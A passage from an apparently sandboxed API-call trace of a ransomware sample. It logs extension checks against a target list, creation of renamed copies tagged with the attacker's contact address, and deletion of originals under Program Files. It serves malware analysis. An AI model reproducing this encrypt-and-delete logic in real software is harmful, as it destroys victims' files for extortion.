lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2592) returned 1 [0106.806] CloseHandle (hObject=0x368) returned 1 [0106.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0106.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.806] lstrlenW (lpString=".doc") returned 4 [0106.806] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString=".docx") returned 5 [0106.807] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0106.807] lstrlenW (lpString=".pdf") returned 4 [0106.807] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString=".xls") returned 4 [0106.807] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString=".xlsx") returned 5 [0106.807] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0106.807] lstrlenW (lpString=".ppt") returned 4 [0106.807] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.807] lstrlenW (lpString=".zip") returned 4 [0106.807] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.807] lstrlenW (lpString=".rar") returned 4 [0106.807] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString=".bz2") returned 4 [0106.807] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString=".7z") returned 3 [0106.807] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.807] lstrlenW (lpString=".dbf") returned 4 [0106.807] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.807] lstrlenW (lpString=".1cd") returned 4 [0106.807] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.807] lstrlenW (lpString=".jpg") returned 4 [0106.807] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.808] lstrlenW (lpString=".doc") returned 4 [0106.808] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString=".docx") returned 5 [0106.808] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0106.808] lstrlenW (lpString=".pdf") returned 4 [0106.808] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString=".xls") returned 4 [0106.808] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString=".xlsx") returned 5 [0106.808] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0106.808] lstrlenW (lpString=".ppt") returned 4 [0106.808] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.808] lstrlenW (lpString=".zip") returned 4 [0106.808] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.808] lstrlenW (lpString=".rar") returned 4 [0106.808] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString=".bz2") returned 4 [0106.808] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString=".7z") returned 3 [0106.808] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.808] lstrlenW (lpString=".dbf") returned 4 [0106.808] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.809] lstrlenW (lpString=".1cd") returned 4 [0106.809] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 61 [0106.809] lstrlenW (lpString=".jpg") returned 4 [0106.809] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.809] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.809] lstrlenW (lpString="ipschs.xml") returned 10 [0106.809] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.809] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2462) returned 1 [0106.809] CloseHandle (hObject=0x368) returned 1 [0106.809] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0106.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.810] lstrlenW (lpString=".doc") returned 4 [0106.810] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.810] lstrlenW (lpString=".docx") returned 5 [0106.810] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0106.810] lstrlenW (lpString=".pdf") returned 4 [0106.810] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.810] lstrlenW (lpString=".xls") returned 4 [0106.810] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.810] lstrlenW (lpString=".xlsx") returned 5 [0106.810] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0106.810] lstrlenW (lpString=".ppt") returned 4 [0106.810] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.810] lstrlenW (lpString=".zip") returned 4 [0106.810] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.810] lstrlenW (lpString=".rar") returned 4 [0106.810] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.810] lstrlenW (lpString=".bz2") returned 4 [0106.810] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString=".7z") returned 3 [0106.811] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.811] lstrlenW (lpString=".dbf") returned 4 [0106.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.811] lstrlenW (lpString=".1cd") returned 4 [0106.811] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.811] lstrlenW (lpString=".jpg") returned 4 [0106.811] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.811] lstrlenW (lpString=".doc") returned 4 [0106.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString=".docx") returned 5 [0106.811] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0106.811] lstrlenW (lpString=".pdf") returned 4 [0106.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString=".xls") returned 4 [0106.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString=".xlsx") returned 5 [0106.811] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0106.811] lstrlenW (lpString=".ppt") returned 4 [0106.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.811] lstrlenW (lpString=".zip") returned 4 [0106.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.812] lstrlenW (lpString=".rar") returned 4 [0106.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.812] lstrlenW (lpString=".bz2") returned 4 [0106.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.812] lstrlenW (lpString=".7z") returned 3 [0106.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.812] lstrlenW (lpString=".dbf") returned 4 [0106.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.812] lstrlenW (lpString=".1cd") returned 4 [0106.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0106.812] lstrlenW (lpString=".jpg") returned 4 [0106.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.812] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.812] lstrlenW (lpString="ipscht.xml") returned 10 [0106.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.813] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2436) returned 1 [0106.813] CloseHandle (hObject=0x368) returned 1 [0106.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0106.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.813] lstrlenW (lpString=".doc") returned 4 [0106.813] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.813] lstrlenW (lpString=".docx") returned 5 [0106.813] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0106.813] lstrlenW (lpString=".pdf") returned 4 [0106.814] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString=".xls") returned 4 [0106.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString=".xlsx") returned 5 [0106.814] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0106.814] lstrlenW (lpString=".ppt") returned 4 [0106.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.814] lstrlenW (lpString=".zip") returned 4 [0106.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.814] lstrlenW (lpString=".rar") returned 4 [0106.814] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString=".bz2") returned 4 [0106.814] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString=".7z") returned 3 [0106.814] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.814] lstrlenW (lpString=".dbf") returned 4 [0106.814] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.814] lstrlenW (lpString=".1cd") returned 4 [0106.814] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.814] lstrlenW (lpString=".jpg") returned 4 [0106.814] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.814] lstrlenW (lpString=".doc") returned 4 [0106.815] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.815] lstrlenW (lpString=".docx") returned 5 [0106.815] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0106.815] lstrlenW (lpString=".pdf") returned 4 [0106.815] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.815] lstrlenW (lpString=".xls") returned 4 [0106.815] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.815] lstrlenW (lpString=".xlsx") returned 5 [0106.815] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0106.815] lstrlenW (lpString=".ppt") returned 4 [0106.815] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.815] lstrlenW (lpString=".zip") returned 4 [0106.815] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.815] lstrlenW (lpString=".rar") returned 4 [0106.815] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.815] lstrlenW (lpString=".bz2") returned 4 [0106.815] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.815] lstrlenW (lpString=".7z") returned 3 [0106.815] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.815] lstrlenW (lpString=".dbf") returned 4 [0106.815] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.815] lstrlenW (lpString=".1cd") returned 4 [0106.816] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0106.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0106.816] lstrlenW (lpString=".jpg") returned 4 [0106.816] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0106.816] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0106.816] lstrlenW (lpString="ipscsy.xml") returned 10 [0106.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.820] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=2556) returned 1 [0106.820] CloseHandle (hObject=0x368) returned 1 [0106.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0106.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0106.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0106.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0106.820] lstrlenW (lpString=".doc") returned 4 [0106.820] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0106.820] lstrlenW (lpString=".docx") returned 5 [0106.820] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0106.820] lstrlenW (lpString=".pdf") returned 4 [0106.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0106.820] lstrlenW (lpString=".xls") returned 4 [0106.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0106.820] lstrlenW (lpString=".xlsx") returned 5 [0106.821] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0106.821] lstrlenW (lpString=".ppt") returned 4 [0106.821] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0106.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0106.821] lstrlenW (lpString=".zip") returned 4 [0106.821] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0106.821] lstrlenW (lpString=".rar") returned 4 [0106.821] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0106.821] lstrlenW (lpString=".bz2") returned 4 [0106.821] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0106.821] lstrlenW (lpString=".7z") returned 3 [0106.821] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0106.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0106.821] lstrlenW (lpString=".dbf") returned 4 [0106.821] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0106.927] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.927] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.927] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0106.928] GetLastError () returned 0x0 [0106.928] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0xae, lpOverlapped=0x0) returned 1 [0106.928] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xb0, lpOverlapped=0x0) returned 1 [0106.929] ReadFile (in: hFile=0x368, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.929] WriteFile (in: hFile=0x354, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xea, lpOverlapped=0x0) returned 1 [0106.929] SetEndOfFile (hFile=0x354) returned 1 [0106.930] CloseHandle (hObject=0x354) returned 1 [0106.932] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.932] SetEndOfFile (hFile=0x368) returned 1 [0106.938] CloseHandle (hObject=0x368) returned 1 [0106.938] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x26) returned 1 [0106.939] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0106.940] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.940] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.940] lstrlenW (lpString=".doc") returned 4 [0106.940] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0106.940] lstrlenW (lpString=".docx") returned 5 [0106.940] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0106.940] lstrlenW (lpString=".pdf") returned 4 [0106.940] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0106.940] lstrlenW (lpString=".xls") returned 4 [0106.940] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0106.940] lstrlenW (lpString=".xlsx") returned 5 [0106.940] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0106.940] lstrlenW (lpString=".ppt") returned 4 [0106.940] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0106.940] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.940] lstrlenW (lpString=".zip") returned 4 [0106.940] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0106.940] lstrlenW (lpString=".rar") returned 4 [0106.940] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0106.940] lstrlenW (lpString=".bz2") returned 4 [0106.940] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0106.940] lstrlenW (lpString=".7z") returned 3 [0106.940] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0106.940] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.940] lstrlenW (lpString=".dbf") returned 4 [0106.941] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0106.941] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.941] lstrlenW (lpString=".1cd") returned 4 [0106.941] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0106.941] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.941] lstrlenW (lpString=".jpg") returned 4 [0106.941] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0106.941] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.941] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.941] lstrlenW (lpString=".doc") returned 4 [0106.941] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0106.941] lstrlenW (lpString=".docx") returned 5 [0106.941] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0106.941] lstrlenW (lpString=".pdf") returned 4 [0106.941] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0106.941] lstrlenW (lpString=".xls") returned 4 [0106.941] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0106.941] lstrlenW (lpString=".xlsx") returned 5 [0106.941] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0106.941] lstrlenW (lpString=".ppt") returned 4 [0106.941] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0106.941] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.941] lstrlenW (lpString=".zip") returned 4 [0106.941] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0106.941] lstrlenW (lpString=".rar") returned 4 [0106.941] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0106.941] lstrlenW (lpString=".bz2") returned 4 [0106.941] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0106.941] lstrlenW (lpString=".7z") returned 3 [0106.942] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0106.942] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.942] lstrlenW (lpString=".dbf") returned 4 [0106.942] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0106.942] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.942] lstrlenW (lpString=".1cd") returned 4 [0106.942] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0106.942] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0106.942] lstrlenW (lpString=".jpg") returned 4 [0106.942] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0106.942] lstrcmpiW (lpString1=".txt", lpString2=".love$") returned 1 [0106.942] lstrlenW (lpString="Xusage.txt") returned 10 [0106.942] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0106.943] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=1423) returned 1 [0106.943] CloseHandle (hObject=0x368) returned 1 [0106.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20 [0106.943] GetFileAttributesW (lpFileName="C:\\Program 